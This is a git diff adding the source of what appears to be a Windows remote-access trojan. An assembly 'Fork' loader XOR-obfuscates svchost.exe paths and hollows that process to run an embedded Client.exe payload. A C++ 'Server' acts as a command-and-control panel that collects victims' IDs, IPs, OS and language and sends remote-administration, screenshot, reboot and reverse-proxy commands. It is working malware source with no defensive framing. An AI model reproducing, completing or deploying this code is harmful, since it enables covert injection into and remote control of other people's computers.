+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Fork", "Fork\Fork.vcxproj", "{5A7B9D13-CF65-4F76-A883-28A9D7487BD0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Debug|x64.ActiveCfg = Debug|x64 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Debug|x64.Build.0 = Debug|x64 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Debug|x86.ActiveCfg = Debug|Win32 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Debug|x86.Build.0 = Debug|Win32 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Release|x64.ActiveCfg = Release|x64 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Release|x64.Build.0 = Release|x64 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Release|x86.ActiveCfg = Release|Win32 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Fork/Fork/Favicon.ico b/Fork/Fork/Favicon.ico new file mode 100644 index 0000000..0c8912e Binary files /dev/null and b/Fork/Fork/Favicon.ico differ diff --git a/Fork/Fork/Fork.inc b/Fork/Fork/Fork.inc new file mode 100644 index 0000000..3dbbb89 --- /dev/null +++ b/Fork/Fork/Fork.inc @@ -0,0 +1,4 @@ + +.CODE +IDR_CLIENT equ 801 +MAINICON equ 130 \ No newline at end of file diff --git a/Fork/Fork/Fork.rc b/Fork/Fork/Fork.rc new file mode 100644 index 0000000..79c2c17 --- /dev/null +++ b/Fork/Fork/Fork.rc @@ -0,0 +1,8 @@ +#include "\masm32\include\resource.h" + +#define IDR_CLIENT 801 +#define MAINICON 130 + +MAINICON ICON "Favicon.ico" +IDR_CLIENT RCDATA "Client.exe" + diff --git a/Fork/Fork/Fork.vcxproj b/Fork/Fork/Fork.vcxproj new file mode 100644 index 0000000..a839e4d --- /dev/null +++ b/Fork/Fork/Fork.vcxproj @@ -0,0 +1,84 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0} + + + + Application + true + v141 + + + Application + false + v141 + + + Application + true + v141 + + + Application + false + v141 + + + + + + + + + + + + + + + + + + + + + + + + + + Document + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Fork/Fork/fork.asm b/Fork/Fork/fork.asm new file mode 100644 index 0000000..f93a94b --- /dev/null +++ b/Fork/Fork/fork.asm @@ -0,0 +1,198 @@ +.486 +.model flat, stdcall +;.mmx +;.xmm +option casemap :none + +include C:\masm32\include\windows.inc +include C:\masm32\include\user32.inc +includelib C:\masm32\lib\user32.lib +include C:\masm32\include\kernel32.inc +includelib C:\masm32\lib\kernel32.lib +include C:\masm32\include\msvcrt.inc +includelib C:\masm32\lib\msvcrt.lib +include C:\masm32\macros\macros.asm +include C:\masm32\include\ntdll.inc +includelib C:\masm32\lib\ntdll.lib + +include strEnc.asm +include Fork.inc + +;typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS)(HANDLE,PBOOL) +FN_ISWOW64PROCESS typedef proto stdcall :HANDLE, :PBOOL +LPFN_ISWOW64PROCESS typedef ptr FN_ISWOW64PROCESS + +;include c:\masm32\include\masm32.inc + + + + + +.data + ;szName BYTE "C:\\windows\\explorer.exe", 0 + szName db xorstr("C:\Windows\System32\svchost.exe",25), 0 + ;szName db 'C:\Windows\System32\svchost.exe', 0 + SysWowName db xorstr("C:\Windows\SysWOW64\svchost.exe",25), 0 + Knel db 'kernel32', 0 + wow64 db 'IsWow64Process', 0 + ;SysWowName db "C:\\ChildWindow.exe",0 + ; + ;hszName BYTE 43h,3ah,5ch,5ch,77h,69h,6eh,64h,6fh,77h,73h,5ch,5ch,65h,78h,70h,6ch,6fh,72h,65h,72h,2eh,65h,78h,65h, 0 +.data? + + + +.code +main proc + LOCAL pIDH:ptr IMAGE_DOS_HEADER + LOCAL pINH:ptr IMAGE_NT_HEADERS + LOCAL pISH:ptr IMAGE_SECTION_HEADER + LOCAL image, mem, base:PVOID + ;LOCAL i, read, nSizeOfFile:DWORD + ;LOCAL hFile:HANDLE + LOCAL sui:STARTUPINFO + LOCAL pi:PROCESS_INFORMATION + LOCAL ctx:CONTEXT + LOCAL hrsrc:HRSRC + LOCAL dwSize:DWORD + LOCAL ERR:DWORD + LOCAL hGlbl:HGLOBAL + LOCAL lpBuffer:DWORD + LOCAL hMem:HGLOBAL + LOCAL phMem:LPVOID + LOCAL lpRBuffer:ptr BYTE + LOCAL lpMemory:ptr BYTE + LOCAL I:DWORD + LOCAL isWow64:DWORD + LOCAL bISWOW:DWORD + LOCAL fnIsWow64Process:LPFN_ISWOW64PROCESS +Rtry: + + + invoke GetModuleHandle, addr Knel + invoke GetProcAddress, eax, addr wow64 + cmp eax, 1 + jb ntWow + mov fnIsWow64Process,eax + invoke GetCurrentProcess + mov ebx, eax + invoke fnIsWow64Process, ebx, addr bISWOW + cmp eax, 1 + jb ntWow + + mov ctx.ContextFlags, CONTEXT_FULL + invoke memset, addr sui, 0, sizeof sui + invoke memset, addr pi, 0, sizeof pi + + ;xormem szName, 26, 25 + invoke GetCurrentProcess + mov ebx, eax + + invoke IsWow64Process, ebx, addr isWow64 + ;printf("IsWow64: ", isWow64) + cmp isWow64, 1 + je IsWow + ntWow: + xormem szName, 31, 25 + mov esi, OFFSET szName + mov bISWOW, 0 + jmp ContWow + IsWow: + xormem SysWowName, 31, 25 + mov esi, OFFSET SysWowName + mov bISWOW, 1 + + ContWow: + ;printf("%s", esi) + invoke CreateProcess,NULL, esi, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, addr sui, addr pi + invoke GetLastError + invoke FindResource, NULL,IDR_CLIENT, RT_RCDATA + mov hrsrc, eax + invoke SizeofResource, NULL, hrsrc + mov dwSize, eax + invoke LoadResource, NULL, hrsrc + invoke LockResource, eax + mov lpRBuffer, eax + invoke VirtualAlloc, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE + mov lpMemory, eax + invoke memcpy, lpMemory, lpRBuffer, dwSize + + + push lpMemory + pop pIDH + mov esi, pIDH + assume esi:ptr IMAGE_DOS_HEADER + cmp [esi].e_magic, IMAGE_DOS_SIGNATURE + jne Rtry + add esi, [esi].e_lfanew + push esi + pop pINH + invoke CreateFile, NULL, NULL, NULL, NULL, NULL, NULL, NULL + + invoke NtGetContextThread, pi.hThread, addr ctx + ;invoke GetLastError + mov ecx, ctx.regEbx + add ecx, 8 + invoke NtReadVirtualMemory, pi.hProcess, ecx, addr base, sizeof PVOID, NULL + ;invoke GetLastError + mov esi, pINH + assume esi:ptr IMAGE_NT_HEADERS + invoke VirtualAllocEx, pi.hProcess, [esi].OptionalHeader.ImageBase, [esi].OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE + .if eax + mov mem, eax + invoke NtWriteVirtualMemory, pi.hProcess, mem, lpMemory, [esi].OptionalHeader.SizeOfHeaders, NULL + ;mov edi, dword ptr[pINH] + movzx edi, word ptr[esi+6] + mov ebx,0 + ; printf("Sections: %i %i", edi, [esi].FileHeader.NumberOfSections) + .while ebx < edi + mov eax, pIDH + mov ecx, lpMemory + add ecx, [eax + 3Ch] + imul edx, ebx, 28h + lea eax, [ecx+edx+0F8h] + mov pISH, eax + + mov ecx, pISH + mov eax, mem + add eax, dword ptr[ecx+0Ch] + + mov edx,lpMemory + add edx, dword ptr[ecx+14h] + + + invoke NtWriteVirtualMemory, pi.hProcess, eax, edx, [ecx+10h], NULL + + + add ebx, 1 + .endw + mov eax, mem + add eax, [esi].OptionalHeader.AddressOfEntryPoint + + mov ctx.regEax, eax + mov ebx, ctx.regEbx + add ebx, 8 + + invoke NtWriteVirtualMemory, pi.hProcess, ebx, addr [esi].OptionalHeader.ImageBase, sizeof PVOID, NULL + invoke NtSetContextThread, pi.hThread, addr ctx + invoke NtResumeThread, pi.hThread, addr ctx + + ; invoke NtWaitForSingleObject, pi.hProcess, FALSE, NULL + + + .else + INVOKE NtTerminateProcess, pi.hProcess, 1 + jmp Rtry + .endif + xor eax, eax + invoke ExitProcess, eax + + + ret + + + + +main endp + +end main \ No newline at end of file diff --git a/Fork/Fork/make.bat b/Fork/Fork/make.bat new file mode 100644 index 0000000..5621ab9 --- /dev/null +++ b/Fork/Fork/make.bat @@ -0,0 +1,5 @@ +@echo off +C:\masm32\bin\ml /c /coff Fork.asm +C:\masm32\bin\rc -r Fork.rc +C:\masm32\bin\link /subsystem:console Fork.obj Fork.res +pause>nul \ No newline at end of file diff --git a/Fork/Fork/resource.h b/Fork/Fork/resource.h new file mode 100644 index 0000000..e9bdc2e --- /dev/null +++ b/Fork/Fork/resource.h @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by Fork1.rc + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/Fork/Fork/strEnc.asm b/Fork/Fork/strEnc.asm new file mode 100644 index 0000000..3e10f81 --- /dev/null +++ b/Fork/Fork/strEnc.asm @@ -0,0 +1,46 @@ +xorstr macro str:req,key:req + + local i,l,p,c + + i = 2 + l sizestr + c equ <> + + repeat l -2 + + p substr ,i,1 + p catstr <'>,p,<'> + c catstr c,<,>,%(p xor key) + + i = i + 1 + + endm + + l sizestr c + c substr c,2,l-1 + + exitm c + +endm + +xormem macro var:req,len:req,key:req + + local i + + i = 0 + + repeat (len) / 4 + + xor dword ptr var[i],(key shl 24) or (key shl 16) or (key shl 8) or key + i = i + 4 + + endm + + while i lt len + + xor byte ptr var[i],key + i = i + 1 + + endm + +endm \ No newline at end of file diff --git a/Server/Server.sln b/Server/Server.sln new file mode 100644 index 0000000..82be229 --- /dev/null +++ b/Server/Server.sln @@ -0,0 +1,50 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26228.10 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Server", "Server\Server.vcxproj", "{1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LearnMasm", "..\LearnMasm\LearnMasm\LearnMasm.vcxproj", "{1436A402-8431-4A71-B4E7-08CB1F077127}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Fork", "..\Fork\Fork\Fork.vcxproj", "{5A7B9D13-CF65-4F76-A883-28A9D7487BD0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Debug|x64.ActiveCfg = Debug|x64 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Debug|x64.Build.0 = Debug|x64 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Debug|x86.ActiveCfg = Debug|Win32 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Debug|x86.Build.0 = Debug|Win32 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Debug|x86.Deploy.0 = Debug|Win32 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Release|x64.ActiveCfg = Release|x64 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Release|x64.Build.0 = Release|x64 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Release|x86.ActiveCfg = Release|Win32 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E}.Release|x86.Build.0 = Release|Win32 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x64.ActiveCfg = Debug|x64 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x64.Build.0 = Debug|x64 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x86.ActiveCfg = Debug|Win32 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x86.Build.0 = Debug|Win32 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x86.Deploy.0 = Debug|Win32 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Release|x64.ActiveCfg = Release|x64 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Release|x64.Build.0 = Release|x64 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Release|x86.ActiveCfg = Release|Win32 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Release|x86.Build.0 = Release|Win32 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Debug|x64.ActiveCfg = Debug|x64 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Debug|x64.Build.0 = Debug|x64 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Debug|x86.ActiveCfg = Debug|Win32 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Debug|x86.Build.0 = Debug|Win32 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Release|x64.ActiveCfg = Release|x64 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Release|x64.Build.0 = Release|x64 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Release|x86.ActiveCfg = Release|Win32 + {5A7B9D13-CF65-4F76-A883-28A9D7487BD0}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Server/Server/Browser_Handler.cpp b/Server/Server/Browser_Handler.cpp new file mode 100644 index 0000000..8431367 --- /dev/null +++ b/Server/Server/Browser_Handler.cpp @@ -0,0 +1,66 @@ +#include "stdafx.h" +#include "Browser_Handler.h" + + +Browser_Handler::Browser_Handler() +{ +} + + +Browser_Handler::~Browser_Handler() +{ +} + +int Browser_Handler::bHandle(Packet_Handler * _Handle) +{ + int rando; + int connects; + fd_set Lset; + timeval tv; + + if (!_Handle->si.L) + { + int iResult = NULL, iOptval = 1; + + SOCKADDR_IN addrin; + ZeroMemory(&addrin, sizeof(addrin)); + addrin.sin_addr.s_addr = AF_UNSPEC; + addrin.sin_port = htons(5555); + addrin.sin_family = AF_INET; + + _Handle->si.L = socket(addrin.sin_family, 0, 0); + WSAGetLastError(); + setsockopt(_Handle->si.L, SOL_SOCKET, SO_EXCLUSIVEADDRUSE, (char*)&iOptval, sizeof(iOptval)); + if (_Handle->si.L == INVALID_SOCKET) closesocket(_Handle->si.L); + + iResult = bind(_Handle->si.L, (sockaddr*)&addrin, sizeof(addrin)); + if (iResult != 0) return 1; + if (listen(_Handle->si.L, SOMAXCONN) == SOCKET_ERROR) closesocket(_Handle->si.L); + unsigned long ul = 1; + ioctlsocket(_Handle->si.L, FIONBIO, &ul); + } + + for (;;) + { + tv.tv_sec = 2; + tv.tv_usec = 0; + FD_ZERO(&Lset); + FD_SET(_Handle->si.L, &Lset); // make option to turn off proxy. /////////// + int sel = select(NULL, &Lset, NULL, NULL, &tv); + ULONG bytes_available; + if (sel > 0) break; + } + connects = _Handle->si.ConnectionCounter - 1; + if (connects > 0) + _Handle->si.picked = rand() % connects; + else _Handle->si.picked = connects; + + + SendMessage(_Handle->mhWnd, WM_COMMAND, MAKEWPARAM(ID__RPROX, NULL), NULL); + + CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)bHandle, _Handle, NULL, NULL); + + + + return 0; +} diff --git a/Server/Server/Browser_Handler.h b/Server/Server/Browser_Handler.h new file mode 100644 index 0000000..5ae874d --- /dev/null +++ b/Server/Server/Browser_Handler.h @@ -0,0 +1,14 @@ +#pragma once +#include "Packet_Handler.h" +#include "R_Proxy.h" + +class Browser_Handler +{ +public: + Browser_Handler(); + ~Browser_Handler(); + + static int bHandle(Packet_Handler*); + +}; + diff --git a/Server/Server/Client_Handler.cpp b/Server/Server/Client_Handler.cpp new file mode 100644 index 0000000..da23e7b --- /dev/null +++ b/Server/Server/Client_Handler.cpp @@ -0,0 +1,308 @@ +#include "Client_Handler.h" + + + +Client_Handler::Client_Handler() +{ + // si.Connections = new SOCKET[100]; + +} + + +Client_Handler::~Client_Handler() +{ + +} + + +int Client_Handler::Handle_Client(int i, Packet_Handler* _Handle) +{ + //Remote_Handler* _rHandle = new Remote_Handler(); + int pType = NULL; + recv(_Handle->si.ClientSocket, (char*)&pType, sizeof(int), 0); + + if (pType == NULL) + { + + _Handle->si.Connections[i].s[0] = _Handle->si.ClientSocket; + + int SizeID = 0; + recv(_Handle->si.Connections[i].s[0], (char*)&SizeID, sizeof(int), 0); + + char* ClientID = new char[SizeID]; + ClientID[SizeID] = '\0'; + recv(_Handle->si.Connections[i].s[0], (char*)ClientID, SizeID, 0); + + mbstowcs(_Handle->si.Connections[i].Clients->_ClientID, ClientID, SizeID + 1); + int SizeIP = 0; + recv(_Handle->si.Connections[i].s[0], (char*)&SizeIP, sizeof(int), 0); + if (SizeIP < 256) + { + char *IP = new char[SizeIP]; + IP[SizeIP] = '\0'; + recv(_Handle->si.Connections[i].s[0], (char*)IP, SizeIP, 0); + mbstowcs(_Handle->si.Connections[i].Clients->_IPAdress, IP, SizeIP + 1); + } + //delete[] ClientID; + int SizeOS = 0; + recv(_Handle->si.Connections[i].s[0], (char*)&SizeOS, sizeof(int), 0); + char *OS = new char[SizeOS]; + // OS[SizeOS] = '\0'; + recv(_Handle->si.Connections[i].s[0], (char*)OS, SizeOS, 0); + mbstowcs(_Handle->si.Connections[i].Clients->_OperatingSystem, OS, SizeOS + 1); + + int LANGID = NULL; + recv(_Handle->si.Connections[i].s[0], (char*)&LANGID, sizeof(int), 0); + _Handle->si.Connections[i].Clients->_Country = GetLangFromID(LANGID); + + return 0; + } + else if (pType == 2) + { + //recv(_Handle->si.ClientSocket, (char*)&WhichConnection, sizeof(INT), 0); + _Handle->si.Connections[_Handle->Clicked_Item].s[2] = _Handle->si.ClientSocket; + //_rHandle->Remote_Administration(_Handle); + SendMessage(_Handle->mhWnd, WM_COMMAND, MAKEWPARAM(IDM_REMOTEINIT, 0), NULL); + + return 2; + } + else if (pType == 5) + { + _Handle->si.Connections[_Handle->Clicked_Item].s[5] = _Handle->si.ClientSocket; + SendMessage(_Handle->mhWnd, WM_COMMAND, MAKEWPARAM(IDM_SCREENY, NULL), NULL); + return 5; + + } + else if (pType == 7) + { + + _Handle->si.Connections[_Handle->si.picked].s[7] = _Handle->si.ClientSocket; + SendMessage(_Handle->mhWnd, WM_COMMAND, MAKEWPARAM(IDM_RPROX, NULL), NULL); + + + return 7; + } +} + +VOID Client_Handler::Multi_Client_Helper(Packet_Handler* _Handle, int iDetails, int iPacketType, int i) +{ + switch (iDetails) + { + case Remote: + { + int rMote = Remote; + send(_Handle->si.Connections[i].s[0], (char*)&rMote, sizeof(int), 0); + //_rHandle->Remote_Administration(_Handle); + //send(_Handle->si.Connections[i].s[0], (char*)&i, sizeof(int), 0); + break; + } + case Quit: + { + int qUit = Quit; + send(_Handle->si.Connections[i].s[0], (char*)&qUit, sizeof(int), 0); + break; + } + case Screeny: + { + int screeny = Screeny; + send(_Handle->si.Connections[i].s[0], (char*)&screeny, sizeof(int), 0); + break; + } + case Reboot: + { + int rBoot = Reboot; + send(_Handle->si.Connections[i].s[0], (char*)&rBoot, sizeof(int), 0); + break; + } + case RProxy: + { + int rProx = RProxy; + send(_Handle->si.Connections[i].s[0], (char*)&rProx, sizeof(int), 0); + break; + } + } +} +int Client_Handler::Refresh_Client_List(Packet_Handler* _Handle) +{ + int tempConnections[100] = { 0 }; + int j = -1; + for (int i = 0; i < 100; i++) + { + int nada = NULL; + + if (send(_Handle->si.Connections[i].s[0], (char*)&nada, sizeof(int), 0) != SOCKET_ERROR) + { + j++; + tempConnections[j] = _Handle->si.Connections[i].s[0]; + _Handle->si.Connections[j].Clients->_ClientID = _Handle->si.Connections[j].Clients->_ClientID; + _Handle->si.Connections[j].Clients->_IPAdress = _Handle->si.Connections[j].Clients->_IPAdress; + _Handle->si.Connections[j].Clients->_OperatingSystem = _Handle->si.Connections[j].Clients->_OperatingSystem; + + } + else + { + //if (_Handle->Clients[i]._ClientID != nullptr) + //delete + _Handle->si.Connections[i].Clients->_ClientID = NULL; + _Handle->si.Connections[i].Clients->_ClientID =(wchar_t*) malloc(sizeof(wchar_t) *64); + _Handle->si.Connections[i].Clients->_IPAdress = NULL; + _Handle->si.Connections[i].Clients->_IPAdress = (wchar_t*)malloc(sizeof(wchar_t) * 256); + _Handle->si.Connections[i].Clients->_OperatingSystem = NULL; + _Handle->si.Connections[i].Clients->_OperatingSystem = (wchar_t*)malloc(sizeof(wchar_t) *64); + } + } + if ((_Handle->si.ConnectionCounter - 1) == j) return 0; + ListView_DeleteAllItems(_Handle->hWndList); + _Handle->si.ConnectionCounter = j; + memcpy(_Handle->si.Connections, tempConnections, sizeof(tempConnections)); + _Handle->Add_List_Items(_Handle); + _Handle->si.ConnectionCounter++; + return 0; +} + +wchar_t* Client_Handler::GetLangFromID(int ID) +{ + switch (ID) + { + case 1025: + return L"Arabic/Saudi Arabia"; + case 2049: + return L"Arabic/Iraq"; + case 3073: + return L"Arabic/Egypt"; + case 4097: + return L"Arabic/Libya"; + case 5121: + return L"Arabic/Algeria"; + case 6145: + return L"Arabic/Morocco"; + case 7169: + return L"Arabic/Tunisia"; + case 8193: + return L"Arabic/Oman"; + case 9217: + return L"Arabic/Yemen"; + case 10241: + return L"Arabic/Syria"; + case 11265: + return L"Arabic/Jordan"; + case 12289: + return L"Arabic/Lebanon"; + case 13313: + return L"Arabic/Kuwait"; + case 14337: + return L"Arabic/U.A.E"; + case 15361: + return L"Arabic/Bahrain"; + case 16385: + return L"Arabic/Qatar"; + case 1026: + return L"Bulgarian"; + case 1027: + return L"Catalan"; + case 1028: + return L"Chinese/Taiwan"; + case 2052: + return L"Chinese/PRC"; + case 3076: + return L"Chinese/Hong Kong"; + case 4100: + return L"Chinese/Singapore"; + case 1029: + return L"Czech"; + case 1030: + return L"Danish"; + case 1031: + return L"German"; + case 2055: + return L"German/Swiss"; + case 3079: + return L"German/Austrian"; + case 4103: + return L"German/Luxembourg"; + case 5127: + return L"German/Liechtenstein"; + case 1032: + return L"Greek"; + case 1033: + return L"English/United States"; + case 2057: + return L"English/United Kingdom"; + case 3081: + return L"English/Australian"; + case 4105: + return L"English/Canadian"; + case 5129: + return L"English/New Zealand"; + case 6153: + return L"Englih/Ireland"; + case 7177: + return L"Enlglish/South Africa"; + case 8201: + return L"English/Jamaica"; + case 9225: + return L"English/Caribbean"; + case 10249: + return L"English/Belize"; + case 11273: + return L"English/Trinidad"; + case 1034: + return L"Spain"; + case 2058: + return L"Spanish/Mexico"; + case 3082: + return L"Spain"; + case 4106: + return L"Spanish/Guatemala"; + case 5130: + return L"Spanish/Costa Rica"; + case 6154: + return L"Spanish/Panama"; + case 7178: + return L"Spanish/Dominican Republic"; + case 8202: + return L"Spanish/Venezuela"; + case 9226: + return L"Spanish/Colombia"; + case 10250: + return L"Spanish/Peru"; + case 11274: + return L"Spanish/Argentina"; + case 12298: + return L"Spanish/Ecuador"; + case 13322: + return L"Spanish/Chile"; + case 14346: + return L"Spanish/Uraguay"; + case 15370: + return L"Spanish/Paraguay"; + case 16394: + return L"Spanish/Bolivia"; + case 17418: + return L"Spanish/El Salvador"; + case 18442: + return L"Spanish/Honduras"; + case 19466: + return L"Spanish/Nicaragua"; + case 20490: + return L"Spanish/Puerto Rico"; + case 1035: + return L"Finland"; + case 1036: + return L"France"; + case 2060: + return L"French/Belgian"; + case 3084: + return L"French/Canadian"; + case 4108: + return L"French/Swiss"; + case 5132: + return L"French/Luxembourg"; + + + } + + + + return NULL; +} \ No newline at end of file diff --git a/Server/Server/Client_Handler.h b/Server/Server/Client_Handler.h new file mode 100644 index 0000000..8c87db6 --- /dev/null +++ b/Server/Server/Client_Handler.h @@ -0,0 +1,19 @@ +#pragma once +#include "Remote_Handler.h" + + +class Client_Handler +{ +public: + Client_Handler(); + ~Client_Handler(); + int Handle_Client(int, Packet_Handler*); + int Refresh_Client_List(Packet_Handler*); + void Multi_Client_Helper(Packet_Handler* _Handle, int iDetails, int iPacketType, int i); + //Remote_Handler* _rHandle = new Remote_Handler(); +private: + wchar_t *GetLangFromID(int); +public: + +}; + diff --git a/Server/Server/Demonized.ttf b/Server/Server/Demonized.ttf new file mode 100644 index 0000000..935e7fc Binary files /dev/null and b/Server/Server/Demonized.ttf differ diff --git a/Server/Server/Initialization.cpp b/Server/Server/Initialization.cpp new file mode 100644 index 0000000..4f52c72 --- /dev/null +++ b/Server/Server/Initialization.cpp @@ -0,0 +1,113 @@ +#include "Initialization.h" + + +Initialization::Initialization() +{ + + sInit._cHandler = new Client_Handler; + + result = NULL; + //memset(result, 0, sizeof(addrinfo)); + ptr = NULL; + data.port = NULL; + wcstombs(data.URL, L"\0", 256); +} + + +Initialization::~Initialization() +{ + + + +} +int Initialization::Initialize(Packet_Handler* _Handle, Initialization *Init) +{ + int iResult = NULL; + _Handle->si.ListenSocket = INVALID_SOCKET; + _Handle->si.ConnectionCounter = 0; + + + if ((iResult = WSAStartup(MAKEWORD(2, 2), &wsaData)) != 0) { + printf("WSAStartup Failed: %d\n", iResult); + return 1; + } + printf("WinSock Initialized...\n"); + + + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + // hints.ai_flags = AI_PASSIVE; + std::stringstream ss; + ss << Init->data.port; + std::string str = ss.str(); + + if ((iResult = getaddrinfo(Init->data.URL, str.c_str(), &hints, &result)) != 0) { + printf("getaddrinfo failed: %d\n", iResult); + WSACleanup(); + return 1; + } + struct in_addr addr; + ((struct sockaddr_in *)(result->ai_addr))->sin_addr.s_addr = htonl(INADDR_ANY); + //OutputDebugStringA(inet_ntoa(csin.sin_addr) ); + + if ((_Handle->si.ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol)) == INVALID_SOCKET) { + printf("Error at socket(): %ld\n", WSAGetLastError()); + freeaddrinfo(result); + WSACleanup(); + return 1; + } + + if ((iResult = bind(_Handle->si.ListenSocket, result->ai_addr, (int)result->ai_addrlen)) == SOCKET_ERROR) { + //printf("bind failed with error: %d\n", WSAGetLastError()); + WSAGetLastError(); + freeaddrinfo(result); + closesocket(_Handle->si.ListenSocket); + WSACleanup(); + return 1; + } + + freeaddrinfo(result); + + if (listen(_Handle->si.ListenSocket, SOMAXCONN) == SOCKET_ERROR) { + printf("Listen failed with error: %ld\n", WSAGetLastError()); + closesocket(_Handle->si.ListenSocket); + WSACleanup(); + return 1; + } + printf("Listening....\n"); + //SetWindowText(0, L"Server Listening..."); + CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Static_Listen, (LPVOID)_Handle, NULL, NULL); + + + return 0; +} +void Initialization::Static_Listen(Packet_Handler* _Handle) +{ + _Handle->si.ConnectionCounter = 0; + + while (_Handle->start) + { + + struct sockaddr_in ClientInfo = { 0 }; + int size = sizeof(ClientInfo); + socklen_t sSize = sizeof(ClientInfo); + if ((_Handle->si.ClientSocket = accept(_Handle->si.ListenSocket, (sockaddr*)&ClientInfo, &size)) != INVALID_SOCKET) { + if (!sInit._cHandler->Handle_Client(_Handle->si.ConnectionCounter, _Handle)) + { + //OutputDebugStringA(inet_ntoa(ClientInfo.sin_addr)); + _Handle->Add_List_Items(_Handle); + _Handle->si.ConnectionCounter++; + if (_Handle->si.ConnectionCounter >= 249) + { + break; + } + _Handle->Tray->UpdateTray(&_Handle->Tray->nID, _Handle->start, _Handle->si.ConnectionCounter); + } + + } + + } +} \ No newline at end of file diff --git a/Server/Server/Initialization.h b/Server/Server/Initialization.h new file mode 100644 index 0000000..f5de7d8 --- /dev/null +++ b/Server/Server/Initialization.h @@ -0,0 +1,44 @@ +#pragma once +#define DEFAULT_PORT "4444" + +#include "Client_Handler.h" + + + +class Initialization +{ +public: + Initialization(); + ~Initialization(); + int Initialize(Packet_Handler*, Initialization*); + static void Static_Listen(Packet_Handler*); +private: + + + +public: + struct SETTINGS + { + int port; + char URL[256]; + int Sys32; + int Startup; + }; + SETTINGS data; + + +private: + WSADATA wsaData; + + struct addrinfo *result, *ptr, hints; + // static void StaticThreadStart(Packet_Handler*); + + +}; +static class sInitialization +{ +public: + Client_Handler *_cHandler; + Remote_Handler* _rHandle = new Remote_Handler(); + +}sInit; \ No newline at end of file diff --git a/Server/Server/Packet_Handler.cpp b/Server/Server/Packet_Handler.cpp new file mode 100644 index 0000000..3bc7e9d --- /dev/null +++ b/Server/Server/Packet_Handler.cpp @@ -0,0 +1,135 @@ +#include "Packet_Handler.h" + + +Packet_Handler::Packet_Handler() +{ + // std::fill(si.Connections, si.Connections - sizeof(si.Connections), NULL); 